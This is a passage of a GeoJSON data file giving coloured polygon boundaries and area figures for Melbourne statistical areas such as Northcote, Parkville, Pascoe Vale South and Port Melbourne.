22,-37.8116493],[144.9481049,-37.8115273],[144.9478149,-37.8109474],[144.9460144,-37.8116379],[144.9459686,-37.8115692],[144.9456024,-37.8111076],[144.9451904,-37.8105888],[144.9447632,-37.8100586],[144.9443359,-37.8095207],[144.9438324,-37.8088875],[144.9433594,-37.8082695],[144.9428101,-37.8075676],[144.942627,-37.8073196],[144.9420013,-37.80653],[144.9418945,-37.8063202],[144.9418335,-37.8061485],[144.9414368,-37.8058395],[144.9412994,-37.8057098],[144.9412079,-37.8055992],[144.9410248,-37.805378],[144.9394989,-37.8043404],[144.937851,-37.8030777],[144.9365234,-37.8025589],[144.9358978,-37.8022804],[144.9359741,-37.8021698],[144.9360352,-37.8020897],[144.9362488,-37.8017082],[144.936203,-37.8013191],[144.9359741,-37.8008385],[144.9358521,-37.8004494],[144.9358215,-37.7999992],[144.9358978,-37.7994804],[144.9359131,-37.799408],[144.9360352,-37.7994308],[144.936264,-37.7994576]]]}},{"type":"Feature","properties":{"SA2_NAME":"Northcote","polygonId":42,"SA3_NAME":"Darebin - South","AREASQKM":6.145,"fillColor":"#37B878","strokeColor":"#37B878","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9844666,-37.7675095],[144.9844666,-37.7673302],[144.9845123,-37.767189],[144.9847717,-37.7669792],[144.9848938,-37.7669373],[144.9851532,-37.766819],[144.9855652,-37.7664185],[144.9855499,-37.7661972],[144.9854889,-37.7660103],[144.9852142,-37.765728],[144.9848022,-37.7654076],[144.9843445,-37.7651291],[144.9842834,-37.765049],[144.9841919,-37.7649574],[144.9839783,-37.7646484],[144.9838867,-37.7641106],[144.9838257,-37.7639809],[144.9836426,-37.7638397],[144.9835205,-37.7637978],[144.983078,-37.7636604],[144.9824982,-37.7636375],[144.9822693,-37.763588],[144.9819183,-37.7633896],[144.9816895,-37.7631989],[144.9815521,-37.762989],[144.9814453,-37.7628288],[144.981369,-37.7626305],[144.981369,-37.7623787],[144.9815674,-37.7622108],[144.9818573,-37.7621384],[144.9821014,-37.7621307],[144.9824677,-37.7621574],[144.9826202,-37.7621078],[144.9828491,-37.7620506],[144.9830322,-37.7619476],[144.983139,-37.7618179],[144.9831543,-37.7615585],[144.9830322,-37.7614174],[144.9828339,-37.7612572],[144.9824982,-37.7609596],[144.9820862,-37.7606277],[144.9818573,-37.7603073],[144.9816132,-37.7599106],[144.9813843,-37.7595482],[144.9811401,-37.7591896],[144.9809418,-37.7588882],[144.9808502,-37.75877],[144.9806366,-37.7583275],[144.9804535,-37.7580376],[144.9802551,-37.7576981],[144.9802094,-37.7574196],[144.9801636,-37.7572899],[144.9806824,-37.7573509],[144.9837494,-37.7577209],[144.9844971,-37.7577972],[144.98526,-37.7578773],[144.9854126,-37.7578773],[144.9879913,-37.7581787],[144.9878082,-37.7590981],[144.9876251,-37.7600479],[144.9875031,-37.7607307],[144.987442,-37.7610779],[144.987381,-37.7613602],[144.9873657,-37.7614288],[144.992691,-37.7620506],[144.9927521,-37.7617989],[144.993454,-37.761879],[144.994339,-37.7619781],[144.9950104,-37.7620583],[144.995224,-37.7620888],[144.9956665,-37.7621384],[144.9963531,-37.7622185],[144.9969025,-37.7622795],[144.9977112,-37.7624397],[144.998764,-37.762558],[144.9992828,-37.762619],[144.9993439,-37.7626305],[144.9999084,-37.7626877],[144.9998016,-37.7632599],[145.0003052,-37.7633095],[145.0004272,-37.7633209],[145.0010223,-37.7633896],[145.0018616,-37.7634773],[145.0023193,-37.7635307],[145.0027924,-37.763588],[145.0032196,-37.7636299],[145.0042419,-37.7637482],[145.0053711,-37.7638702],[145.006546,-37.7639999],[145.0075073,-37.7641106],[145.0087585,-37.7642479],[145.0104523,-37.7644272],[145.0122528,-37.7646179],[145.015976,-37.7650185],[145.0170288,-37.7651291],[145.0168762,-37.7660179],[145.0166931,-37.7670975],[145.0177917,-37.7672081],[145.0176239,-37.7681885],[145.0175323,-37.7687073],[145.0174103,-37.7687492],[145.0170135,-37.7687073],[145.0169525,-37.7686501],[145.016861,-37.7692986],[145.0167694,-37.7698402],[145.0167389,-37.7700195],[145.0166626,-37.7704887],[145.0166016,-37.7708282],[145.0165863,-37.7709274],[145.01651,-37.7713699],[145.0164948,-37.7714081],[145.0164795,-37.7715378],[145.0164642,-37.7716179],[145.0164185,-37.7719078],[145.0163574,-37.7723083],[145.0162811,-37.7727585],[145.0162659,-37.7728081],[145.0162659,-37.7728195],[145.0162506,-37.7729073],[145.0162048,-37.7732086],[145.0161133,-37.7737198],[145.016098,-37.7738304],[145.0160675,-37.7740593],[145.015564,-37.7739983],[145.015564,-37.7740898],[145.0152588,-37.7757874],[145.0152435,-37.7758789],[145.0152435,-37.7759705],[145.0149689,-37.7773285],[145.0147247,-37.7786407],[145.0158539,-37.7787704],[145.0157776,-37.7791672],[145.0151978,-37.7791672],[145.0151672,-37.7793808],[145.0149231,-37.7807808],[145.0149231,-37.7808685],[145.0149078,-37.7809601],[145.0148315,-37.7813187],[145.0147247,-37.7820396],[145.0145874,-37.7828674],[145.0144958,-37.78339],[145.0143738,-37.7833595],[145.0143738,-37.7833786],[145.0143738,-37.7833672],[145.0142975,-37.7838287],[145.0128021,-37.7841072],[145.0125732,-37.7841492],[145.0123138,-37.7841873],[145.0122528,-37.7841873],[145.0120697,-37.7842102],[145.0118103,-37.7842293],[145.0115662,-37.7842407],[145.0113068,-37.7842407],[145.0110626,-37.7842293],[145.010849,-37.7842178],[145.0108032,-37.7842178],[145.0103607,-37.7841873],[145.0101929,-37.7841682],[145.0100403,-37.7841492],[145.009613,-37.7840691],[145.0093689,-37.7840309],[145.00914,-37.7840004],[145.0088959,-37.7839699],[145.008667,-37.7839508],[145.0083923,-37.7839279],[145.0081329,-37.7839088],[145.0078583,-37.7838974],[145.0075684,-37.7838974],[145.0072937,-37.7838974],[145.0069885,-37.7839203],[145.0066833,-37.7839394],[145.0063782,-37.7839584],[145.006073,-37.7840004],[145.0059204,-37.7840195],[145.0057831,-37.7840385],[145.0054932,-37.7840881],[145.005188,-37.7841377],[145.0047913,-37.7842293],[145.0042114,-37.784359],[145.0039978,-37.7840691],[145.0037231,-37.7837296],[145.0035095,-37.7834778],[145.0034027,-37.7833672],[145.0031433,-37.7832184],[145.0027771,-37.7830505],[145.0026093,-37.7830009],[145.0022888,-37.7829895],[145.0018005,-37.7830582],[145.0016785,-37.7831306],[145.0014191,-37.7833786],[145.0011444,-37.7837181],[145.0009308,-37.7839394],[145.0007935,-37.7841072],[145.0005798,-37.7843208],[145.0005341,-37.7843704],[145.000351,-37.7845573],[144.9999237,-37.7848396],[144.9995117,-37.7851295],[144.9989777,-37.785408],[144.9987335,-37.7854691],[144.9985199,-37.7855377],[144.9982452,-37.7856102],[144.997818,-37.7856293],[144.9975281,-37.7855682],[144.9971924,-37.7854576],[144.9964447,-37.7852402],[144.9963837,-37.7851982],[144.9963531,-37.7851906],[144.9962158,-37.7851181],[144.996048,-37.7850189],[144.9958191,-37.7848396],[144.9956207,-37.7847099],[144.9955902,-37.7846909],[144.9952393,-37.7844505],[144.994751,-37.7840004],[144.9945526,-37.7838593],[144.9941711,-37.7835274],[144.9936829,-37.7832298],[144.9933014,-37.7830505],[144.9931793,-37.7830086],[144.9925842,-37.7828484],[144.9923706,-37.7827301],[144.9922333,-37.7826805],[144.9921112,-37.7826309],[144.9920044,-37.7825279],[144.9919586,-37.7823486],[144.9919586,-37.7820091],[144.9918365,-37.7815781],[144.991806,-37.7812195],[144.9918213,-37.7810593],[144.9918823,-37.7809486],[144.9919739,-37.7807007],[144.9919891,-37.780529],[144.9919891,-37.780468],[144.9918671,-37.7802391],[144.9917603,-37.7801476],[144.9917145,-37.7801208],[144.9914398,-37.7800484],[144.9912109,-37.7800179],[144.9908447,-37.7799683],[144.9906616,-37.7799377],[144.9903564,-37.7798386],[144.990097,-37.7796478],[144.9900208,-37.7795296],[144.9899597,-37.7793274],[144.9899292,-37.7792587],[144.9899139,-37.7790375],[144.9898834,-37.7785301],[144.9898529,-37.7784195],[144.9898529,-37.778389],[144.9898529,-37.7782898],[144.9898224,-37.7781601],[144.9897614,-37.7779694],[144.9897308,-37.7778702],[144.9896393,-37.777729],[144.9895172,-37.7775383],[144.9894562,-37.7774696],[144.9893951,-37.7773781],[144.989212,-37.7772408],[144.9891052,-37.7771492],[144.9890594,-37.7771072],[144.9888,-37.7769203],[144.9886932,-37.7767906],[144.9885712,-37.7765503],[144.9885101,-37.7763977],[144.9884796,-37.7762184],[144.9884796,-37.7760582],[144.9885559,-37.7758598],[144.9886322,-37.7757072],[144.9886627,-37.7753372],[144.9885864,-37.7751579],[144.9885101,-37.7750778],[144.9882355,-37.774929],[144.9879608,-37.77491],[144.9875793,-37.7749176],[144.9873657,-37.7748604],[144.9872437,-37.7747498],[144.9870911,-37.7746582],[144.9868622,-37.7743683],[144.9868317,-37.773838],[144.9868011,-37.7737083],[144.9866333,-37.773468],[144.9864502,-37.7732277],[144.9861603,-37.7729301],[144.9857788,-37.7725983],[144.9855347,-37.7723579],[144.9854279,-37.7722473],[144.9850311,-37.7719002],[144.9848633,-37.7716789],[144.9845123,-37.7713394],[144.9844513,-37.7712288],[144.9842529,-37.7707405],[144.9841919,-37.7703285],[144.9841614,-37.7700996],[144.9841461,-37.7697983],[144.9842072,-37.7696609],[144.9842224,-37.769558],[144.9842224,-37.7694206],[144.9842529,-37.7691498],[144.9843597,-37.7685089],[144.9844055,-37.7681808],[144.9844513,-37.7677383],[144.9844666,-37.7675095]]]}},{"type":"Feature","properties":{"SA2_NAME":"Parkville","polygonId":55,"SA3_NAME":"Melbourne City","AREASQKM":4.0492,"fillColor":"#46C06F","strokeColor":"#46C06F","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9389496,-37.7815704],[144.9387207,-37.7808495],[144.9377136,-37.7791405],[144.9370728,-37.7777672],[144.9373322,-37.7778091],[144.9379425,-37.7778893],[144.9378204,-37.7775803],[144.9377289,-37.7773476],[144.9376526,-37.7771797],[144.9376984,-37.7771606],[144.9377747,-37.7770996],[144.9378357,-37.7770386],[144.937912,-37.7769699],[144.9380188,-37.7768593],[144.9381256,-37.7767372],[144.9382019,-37.7765884],[144.9382324,-37.7764778],[144.9382935,-37.7763786],[144.9383392,-37.77631],[144.9383545,-37.7762794],[144.9384003,-37.7762108],[144.9384918,-37.7761192],[144.9385223,-37.7759972],[144.9385834,-37.7757874],[144.9386139,-37.7757072],[144.9386292,-37.7756195],[144.9387512,-37.7754402],[144.9391632,-37.7754974],[144.9398041,-37.7755775],[144.9405975,-37.7756691],[144.9407959,-37.7756882],[144.9421844,-37.7758598],[144.9427032,-37.7759285],[144.9430847,-37.7759705],[144.9451294,-37.7762184],[144.9470367,-37.7764473],[144.9478912,-37.7765503],[144.9494019,-37.7767296],[144.9494324,-37.7767372],[144.949646,-37.7767601],[144.9502869,-37.7768402],[144.9516602,-37.7770081],[144.9523926,-37.7770882],[144.9531403,-37.7771873],[144.9541626,-37.7773094],[144.9551239,-37.77742],[144.9564514,-37.7775879],[144.9580841,-37.7777786],[144.959259,-37.7779198],[144.9598999,-37.7779999],[144.9602203,-37.778038],[144.9598999,-37.7805176],[144.9597473,-37.7817307],[144.959671,-37.7824173],[144.9595337,-37.7834778],[144.9593811,-37.7847176],[144.9592438,-37.7859383],[144.9592133,-37.7862206],[144.9590912,-37.7871284],[144.9590302,-37.7877007],[144.9588776,-37.7889481],[144.9587402,-37.7898674],[144.9588928,-37.7898903],[144.9590302,-37.7899208],[144.9591675,-37.789978],[144.9592743,-37.7900505],[144.9593201,-37.7901306],[144.9593811,-37.7902603],[144.9594727,-37.7903976],[144.9595642,-37.7905388],[144.959671,-37.7906685],[144.9597931,-37.7907982],[144.9599152,-37.7909584],[144.960022,-37.791069],[144.960083,-37.7911072],[144.9601898,-37.7911987],[144.9603119,-37.7912979],[144.9604797,-37.79142],[144.9606323,-37.7915077],[144.9607697,-37.7915878],[144.960968,-37.7916794],[144.9610596,-37.791729],[144.9612274,-37.79179],[144.96138,-37.7918396],[144.9615631,-37.7918892],[144.9616699,-37.7918892],[144.9620209,-37.7919083],[144.9625244,-37.7919884],[144.9628601,-37.7920685],[144.9633026,-37.7922401],[144.9633331,-37.7922478],[144.9634705,-37.7923279],[144.963623,-37.7924004],[144.9637451,-37.7924881],[144.9638824,-37.7925797],[144.963974,-37.7926483],[144.9641113,-37.7927284],[144.9640808,-37.7927399],[144.9642334,-37.7928772],[144.964386,-37.7930489],[144.9644928,-37.7931595],[144.9644928,-37.7931709],[144.9646149,-37.7933388],[144.9647064,-37.793499],[144.9647675,-37.7936172],[144.9648285,-37.7937508],[144.9648895,-37.7939301],[144.96492,-37.7940598],[144.9649506,-37.794239],[144.9649506,-37.7943802],[144.9649658,-37.7945595],[144.9647217,-37.7961578],[144.9645996,-37.7968407],[144.9643097,-37.7984772],[144.9642792,-37.7986298],[144.9642029,-37.7991104],[144.9639587,-37.8004189],[144.9624939,-37.8002586],[144.9610138,-37.8001099],[144.9598999,-37.7999802],[144.9588165,-37.7998581],[144.95755,-37.7997093],[144.9574432,-37.8005791],[144.9573212,-37.801548],[144.9570923,-37.8013687],[144.9568176,-37.8010902],[144.9566345,-37.80093],[144.9560852,-37.8004875],[144.9550323,-37.7996483],[144.9545135,-37.7992401],[144.9539642,-37.7987976],[144.953598,-37.7985077],[144.9529114,-37.7979584],[144.952652,-37.7977486],[144.9521027,-37.7973175],[144.9520721,-37.7972908],[144.9515839,-37.7968979],[144.9511871,-37.7965889],[144.9497986,-37.7954788],[144.9492798,-37.7950706],[144.9488678,-37.7947502],[144.9486542,-37.7945709],[144.9484253,-37.7943878],[144.9474487,-37.7936096],[144.9465027,-37.7928581],[144.9457092,-37.7922173],[144.9444427,-37.7912178],[144.9432831,-37.7902908],[144.9428864,-37.789978],[144.9421539,-37.7893982],[144.9417114,-37.7890396],[144.9409943,-37.7884598],[144.9408722,-37.7883606],[144.9404907,-37.7878189],[144.9403534,-37.7876091],[144.9400635,-37.7872009],[144.9399109,-37.7870102],[144.9402008,-37.7868309],[144.9402771,-37.7866592],[144.9402618,-37.786438],[144.9401703,-37.7860985],[144.9398956,-37.7855492],[144.939621,-37.7849388],[144.9394836,-37.7843399],[144.93927,-37.7833977],[144.9391632,-37.7825775],[144.9390106,-37.7817688],[144.9389496,-37.7815704]]]}},{"type":"Feature","properties":{"SA2_NAME":"Pascoe Vale South","polygonId":40,"SA3_NAME":"Brunswick - Coburg","AREASQKM":2.9887,"fillColor":"#48C16E","strokeColor":"#48C16E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9326324,-37.74226],[144.9324951,-37.74226],[144.9319458,-37.7422676],[144.9318237,-37.7422295],[144.9316406,-37.7421608],[144.9315338,-37.7420578],[144.9302216,-37.7403297],[144.9300995,-37.7401772],[144.9299622,-37.7399673],[144.9299469,-37.7397995],[144.9299622,-37.7386208],[144.9299622,-37.7381783],[144.9298706,-37.7379494],[144.9297943,-37.7378807],[144.9296722,-37.7378387],[144.9293671,-37.7377701],[144.9291992,-37.7377281],[144.9289398,-37.7376289],[144.9288483,-37.7375107],[144.928833,-37.7373886],[144.9288025,-37.7371597],[144.9286041,-37.7355881],[144.9285431,-37.7352791],[144.9289398,-37.73526],[144.9290619,-37.7352791],[144.9290009,-37.7348976],[144.928772,-37.7336197],[144.9288635,-37.7336273],[144.9290466,-37.7336578],[144.9293976,-37.7336998],[144.9305725,-37.7338486],[144.9310913,-37.7339172],[144.9332123,-37.734169],[144.9341888,-37.7342873],[144.9351959,-37.7344093],[144.9378815,-37.7347298],[144.939209,-37.73489],[144.9411621,-37.7351189],[144.9427795,-37.7353172],[144.9447021,-37.7355499],[144.9452667,-37.7356071],[144.9455109,-37.7356377],[144.9468536,-37.7357788],[144.947937,-37.7358894],[144.9490509,-37.7360001],[144.948761,-37.737648],[144.9484711,-37.7394981],[144.9478302,-37.7394409],[144.9475098,-37.7412109],[144.9472046,-37.7430077],[144.946991,-37.7443008],[144.9468994,-37.7447701],[144.9465637,-37.7467804],[144.9470673,-37.7468491],[144.9472504,-37.7468681],[144.9472504,-37.7469101],[144.9469604,-37.7484474],[144.946701,-37.7497177],[144.9463806,-37.7496796],[144.9462433,-37.7505875],[144.9460754,-37.7514305],[144.9457397,-37.7532692],[144.9446106,-37.7531281],[144.9434204,-37.7529984],[144.9424896,-37.7528877],[144.9419556,-37.7528305],[144.9408112,-37.7526894],[144.9387207,-37.752449],[144.9382324,-37.752388],[144.9378967,-37.7523499],[144.9376678,-37.7523308],[144.937561,-37.7523193],[144.9372406,-37.7522774],[144.9365234,-37.7521973],[144.9360504,-37.75214],[144.9351807,-37.7520409],[144.9345703,-37.7519608],[144.9343109,-37.7519302],[144.9338531,-37.7518806],[144.9333649,-37.7518196],[144.9320526,-37.7516708],[144.931076,-37.7515488],[144.9301147,-37.7514381],[144.9294891,-37.7513695],[144.9291534,-37.7513275],[144.9284973,-37.7512474],[144.9277802,-37.7511673],[144.9271393,-37.7510872],[144.9269409,-37.7510681],[144.9269867,-37.7510376],[144.9270325,-37.750988],[144.9270935,-37.7509384],[144.9271088,-37.7508583],[144.9272003,-37.7507172],[144.9272614,-37.7505989],[144.9273224,-37.7505302],[144.9273529,-37.7504692],[144.9273987,-37.7503891],[144.9274445,-37.7503204],[144.9274597,-37.7502785],[144.927475,-37.7502174],[144.927475,-37.7501183],[144.927475,-37.7499809],[144.9274597,-37.7498474],[144.9274292,-37.7497673],[144.9273987,-37.7496796],[144.9273529,-37.7495995],[144.9273071,-37.7495003],[144.9273529,-37.7494087],[144.9273987,-37.7492676],[144.9274902,-37.7491608],[144.9276276,-37.7490387],[144.9277191,-37.7489891],[144.9278717,-37.74897],[144.9280396,-37.74897],[144.9281769,-37.74897],[144.9282837,-37.7489281],[144.92836,-37.748848],[144.9283905,-37.7487907],[144.9284515,-37.7486992],[144.9285126,-37.7486076],[144.9285736,-37.7485008],[144.9286194,-37.7483978],[144.9286499,-37.7483101],[144.9286804,-37.7482109],[144.9287109,-37.7481003],[144.9287872,-37.7479706],[144.9289093,-37.7478485],[144.9290314,-37.7477379],[144.9291229,-37.7476692],[144.9291992,-37.7475891],[144.9291992,-37.7475471],[144.9291992,-37.7474709],[144.929184,-37.7473907],[144.9291229,-37.7473297],[144.9289703,-37.7473297],[144.9287109,-37.7473297],[144.9285126,-37.7472878],[144.92836,-37.7472],[144.928299,-37.7471275],[144.9282837,-37.7470703],[144.9282684,-37.7469902],[144.9282684,-37.7468987],[144.9282837,-37.746788],[144.9282837,-37.7466507],[144.9283295,-37.7464676],[144.9283295,-37.7463684],[144.9283447,-37.7462387],[144.92836,-37.746048],[144.9283752,-37.7459793],[144.9283905,-37.7458801],[144.9285431,-37.7457085],[144.928772,-37.7455597],[144.9291534,-37.7454185],[144.9294128,-37.745369],[144.9296722,-37.745388],[144.9303436,-37.7454987],[144.9307709,-37.7455406],[144.9311371,-37.7455482],[144.9315643,-37.7455177],[144.9317627,-37.7454376],[144.9318542,-37.7454185],[144.9320068,-37.745369],[144.932312,-37.7454109],[144.9326019,-37.7454605],[144.9328308,-37.7454605],[144.9329681,-37.7454109],[144.9330597,-37.7453079],[144.9331055,-37.7451897],[144.9331207,-37.7451096],[144.9331512,-37.745018],[144.9331818,-37.7449188],[144.9332123,-37.7448883],[144.9332428,-37.7448387],[144.9333649,-37.7447701],[144.9335175,-37.7446976],[144.9338531,-37.7445908],[144.9339447,-37.7444687],[144.9342651,-37.7444191],[144.9344788,-37.7443581],[144.9346313,-37.7442398],[144.9347229,-37.7440491],[144.9347229,-37.7439194],[144.9345703,-37.7437096],[144.934021,-37.7431679],[144.9339294,-37.7430878],[144.933609,-37.7426109],[144.9334869,-37.7424393],[144.9333344,-37.7423477],[144.9331818,-37.7422791],[144.9330292,-37.7422485],[144.9326324,-37.74226]]]}},{"type":"Feature","properties":{"SA2_NAME":"Port Melbourne","polygonId":61,"SA3_NAME":"Port Phillip","AREASQKM":2.7894,"fillColor":"#54C568","strokeColor":"#54C568","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9169006,-37.8365402],[144.9171906,-37.8364792],[144.9198608,-37.835968],[144.9205933,-37.8358307],[144.9221497,-37.8355293],[144.9224243,-37.8354797],[144.9248199,-37.8350105],[144.9249725,-37.83498],[144.9264679,-37.8346901],[144.9275665,-37.8344803],[144.9296417,-37.8340683],[144.9309387,-37.8338203],[144.9327545,-37.8334579],[144.9351196,-37.8330193],[144.9364471,-37.8327675],[144.9374542,-37.8325806],[144.9382782,-37.8324089],[144.9385834,-37.8323593],[144.9400787,-37.832058],[144.9411774,-37.8318481],[144.9416504,-37.831749],[144.9422913,-37.8316307],[144.9441833,-37.8312607],[144.9442139,-37.8312607],[144.9444427,-37.8312607],[144.9456787,-37.8305588],[144.946167,-37.8309784],[144.9464264,-37.8311501],[144.9466858,-37.8313789],[144.9470673,-37.8317108],[144.9474335,-37.8320389],[144.9479523,-37.832489],[144.9487762,-37.8332291],[144.949646,-37.8339996],[144.9497528,-37.8340874],[144.9493561,-37.8349495],[144.9488831,-37.835968],[144.9488373,-37.8360901],[144.9487915,-37.8362007],[144.9485168,-37.83675],[144.9484711,-37.8368492],[144.9480743,-37.8376999],[144.9479828,-37.8378983],[144.9474792,-37.8389702],[144.9468994,-37.8401985],[144.9465179,-37.8410072],[144.9455719,-37.8430405],[144.9449005,-37.8437576],[144.9442749,-37.844429],[144.9440002,-37.8447304],[144.9434662,-37.8453102],[144.9432678,-37.84552],[144.942688,-37.8460884],[144.942215,-37.8459473],[144.9419403,-37.8458405],[144.9417572,-37.8457985],[144.9412842,-37.8456001],[144.9410858,-37.8455696],[144.9409637,-37.84552],[144.9406433,-37.8454285],[144.9404297,-37.8453674],[144.940094,-37.8452377],[144.9399261,-37.8451805],[144.9398804,-37.8451195],[144.9397888,-37.8449478],[144.9396973,-37.8447876],[144.9392853,-37.8445206],[144.9390869,-37.8443794],[144.9389648,-37.8443184],[144.938797,-37.8442688],[144.9386444,-37.8442078],[144.9381409,-37.8439484],[144.9380035,-37.8438988],[144.9375916,-37.8437195],[144.9375153,-37.8437805],[144.9374695,-37.8437576],[144.9373474,-37.8438797],[144.9370728,-37.843689],[144.9371033,-37.8436584],[144.9370422,-37.8436089],[144.9371185,-37.8435478],[144.9371185,-37.8433495],[144.9370728,-37.8432808],[144.9365234,-37.8429794],[144.936203,-37.8428078],[144.9360504,-37.84272],[144.9358521,-37.8426476],[144.9355927,-37.8425407],[144.935257,-37.8425102],[144.9349213,-37.8424072],[144.9347229,-37.84235],[144.9344635,-37.8423004],[144.9342804,-37.8422394],[144.934082,-37.8422089],[144.9339905,-37.8421974],[144.9333496,-37.8438301],[144.9318848,-37.8432884],[144.9315338,-37.8443489],[144.9305878,-37.847168],[144.9299927,-37.8473587],[144.9298401,-37.8473206],[144.9298248,-37.84729],[144.9309998,-37.8438683],[144.9312592,-37.8430099],[144.930542,-37.8428574],[144.9307251,-37.8423004],[144.9303894,-37.8422279],[144.929184,-37.8419685],[144.9292908,-37.841629],[144.9279175,-37.8413277],[144.9271545,-37.84132],[144.9258423,-37.8451195],[144.9252319,-37.8449783],[144.9269104,-37.8400307],[144.9267273,-37.8400002],[144.9258423,-37.8398399],[144.9249268,-37.8400879],[144.9242706,-37.8401604],[144.9238739,-37.8399887],[144.9234619,-37.8398399],[144.9233704,-37.8397102],[144.9225311,-37.8396988],[144.9217834,-37.8396606],[144.9210968,-37.8396492],[144.9204102,-37.8396301],[144.9197845,-37.8396492],[144.9190216,-37.8396606],[144.9185181,-37.8396797],[144.9183807,-37.8397408],[144.9181061,-37.8398285],[144.9172821,-37.8400803],[144.9165802,-37.8402977],[144.9158936,-37.8406372],[144.9157257,-37.8406181],[144.9157104,-37.8406296],[144.9155121,-37.8407097],[144.9152374,-37.8408203],[144.9149323,-37.8409996],[144.914856,-37.8410378],[144.9144592,-37.8413086],[144.9136963,-37.8417778],[144.9135895,-37.8418274],[144.9133911,-37.8419609],[144.9133301,-37.8420792],[144.9131927,-37.8422775],[144.9129333,-37.841938],[144.9130096,-37.8418999],[144.9127045,-37.8415108],[144.9124603,-37.8409882],[144.9152374,-37.8395004],[144.9152527,-37.8394394],[144.9149933,-37.8387184],[144.9153748,-37.8386307],[144.9154205,-37.8386192],[144.9151764,-37.8379173],[144.9149017,-37.8370209],[144.9148407,-37.8369408],[144.9169006,-37.8365402]]]}},{"type":"Feature","properties":{"SA2_NAME":"Port Melbourne Industrial","polygonId":62,"SA3_NAME":"Port Phillip","AREASQKM":6.8694,"fillColor":"#54C568","strokeColor":"#54C568","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9016571,-37.8260803],[144.9026337,-37.8253288],[144.9034729,-37.8246994],[144.9042206,-37.8241692],[144.9054108,-37.82304],[144.9055634,-37.8228798],[144.9070282,-37.8232994],[144.9082336,-37.8227272],[144.9095154,-37.8222275],[144.9098511,-37.8220406],[144.9101105,-37.8219872],[144.9104614,-37.8218307],[144.9109802,-37.8217201],[144.9113312,-37.8216095],[144.9114532,-37.8216209],[144.9116821,-37.8214874],[144.9119415,-37.8214302],[144.9120026,-37.8214378],[144.9128723,-37.8211098],[144.9128571,-37.8210373],[144.9157867,-37.82061],[144.9173889,-37.8203773],[144.9197693,-37.8200302],[144.9203644,-37.8200302],[144.9247894,-37.8199806],[144.9251251,-37.8200073],[144.9251404,-37.8199806],[144.9255524,-37.8200188],[144.9255524,-37.8200607],[144.9263458,-37.8201408],[144.9263611,-37.8201103],[144.9268036,-37.8201599],[144.9268036,-37.8201904],[144.9269257,-37.8202095],[144.9269409,-37.820179],[144.9271393,-37.8201981],[144.9271393,-37.8202286],[144.9279785,-37.8203201],[144.9279633,-37.8204002],[144.9309387,-37.8207207],[144.9309692,-37.8206406],[144.931427,-37.8206902],[144.9314117,-37.8207893],[144.9318237,-37.8208275],[144.9314728,-37.8217888],[144.9327087,-37.8220482],[144.9364929,-37.8228378],[144.9367828,-37.8228989],[144.9371338,-37.8229408],[144.937851,-37.8230896],[144.9376984,-37.8236694],[144.9395447,-37.8252602],[144.9397736,-37.8254585],[144.9400787,-37.8257294],[144.9403381,-37.8257294],[144.9405212,-37.8257294],[144.9414368,-37.8257904],[144.941391,-37.8259773],[144.9412994,-37.8260689],[144.9411621,-37.8261185],[144.9410248,-37.8261795],[144.9407959,-37.8263397],[144.9408112,-37.8263588],[144.941864,-37.8272705],[144.9425201,-37.8278275],[144.9438629,-37.8289795],[144.944809,-37.8298073],[144.9450989,-37.8300591],[144.9456787,-37.8305588],[144.9444427,-37.8312607],[144.9442139,-37.8312607],[144.9441833,-37.8312607],[144.9422913,-37.8316307],[144.9416504,-37.831749],[144.9411774,-37.8318481],[144.9400787,-37.832058],[144.9385834,-37.8323593],[144.9382782,-37.8324089],[144.9374542,-37.8325806],[144.9364471,-37.8327675],[144.9351196,-37.8330193],[144.9327545,-37.8334579],[144.9309387,-37.8338203],[144.9296417,-37.8340683],[144.9275665,-37.8344803],[144.9264679,-37.8346901],[144.9249725,-37.83498],[144.9248199,-37.8350105],[144.9224243,-37.8354797],[144.9221497,-37.8355293],[144.9205933,-37.8358307],[144.9198608,-37.835968],[144.9171906,-37.8364792],[144.9169006,-37.8365402],[144.9148407,-37.8369408],[144.9149017,-37.8370209],[144.9151764,-37.8379173],[144.9154205,-37.8386192],[144.9153748,-37.8386307],[144.9149933,-37.8387184],[144.9152527,-37.8394394],[144.9152374,-37.8395004],[144.9124603,-37.8409882],[144.9127045,-37.8415108],[144.9130096,-37.8418999],[144.9129333,-37.841938],[144.9131927,-37.8422775],[144.9133301,-37.8420792],[144.9133759,-37.8422508],[144.913681,-37.8428307],[144.914032,-37.843338],[144.914093,-37.8434105],[144.9141846,-37.8435783],[144.9141846,-37.84375],[144.9141846,-37.8439407],[144.9142609,-37.8441086],[144.9143829,-37.8441887],[144.9144745,-37.8442078],[144.9145813,-37.8442383],[144.9147034,-37.8443184],[144.9147034,-37.8444405],[144.9145508,-37.8445091],[144.9143524,-37.8446503],[144.914032,-37.8448181],[144.9138031,-37.8449478],[144.9135132,-37.8450775],[144.9133453,-37.84515],[144.9133606,-37.8451576],[144.9131927,-37.8452377],[144.9129944,-37.8453484],[144.9128113,-37.8453979],[144.912735,-37.8454704],[144.912674,-37.8455887],[144.9126129,-37.8456497],[144.9125671,-37.845829],[144.9127045,-37.8460579],[144.9129639,-37.8463783],[144.9133911,-37.8469391],[144.9135284,-37.8470573],[144.9138336,-37.8474808],[144.9141693,-37.8479805],[144.9143372,-37.8482094],[144.9144897,-37.8484192],[144.914505,-37.8484802],[144.9144592,-37.8485909],[144.9140625,-37.8488007],[144.9138336,-37.8488998],[144.91362,-37.8490105],[144.9134216,-37.8490906],[144.9133301,-37.8491478],[144.9131317,-37.8492203],[144.9129791,-37.8492775],[144.912674,-37.8494301],[144.9125519,-37.8494186],[144.9124908,-37.8494492],[144.9120941,-37.8489304],[144.9119415,-37.848999],[144.9103851,-37.8469391],[144.9088287,-37.8448677],[144.9085846,-37.8449898],[144.9085388,-37.8449898],[144.9085236,-37.8449783],[144.9082489,-37.8445206],[144.9078369,-37.8432007],[144.9075928,-37.8432579],[144.9074707,-37.8432007],[144.906723,-37.8419609],[144.9065704,-37.8420105],[144.9065399,-37.8420105],[144.9064026,-37.8417778],[144.9064331,-37.8417282],[144.9061279,-37.8417091],[144.9062042,-37.8412781],[144.9064789,-37.8413086],[144.9064941,-37.8411903],[144.9061127,-37.840538],[144.9059906,-37.84058],[144.9057312,-37.8401489],[144.9055634,-37.8401985],[144.9055634,-37.840168],[144.905426,-37.8401794],[144.905304,-37.8402176],[144.9049072,-37.8403206],[144.9046783,-37.8404007],[144.9039764,-3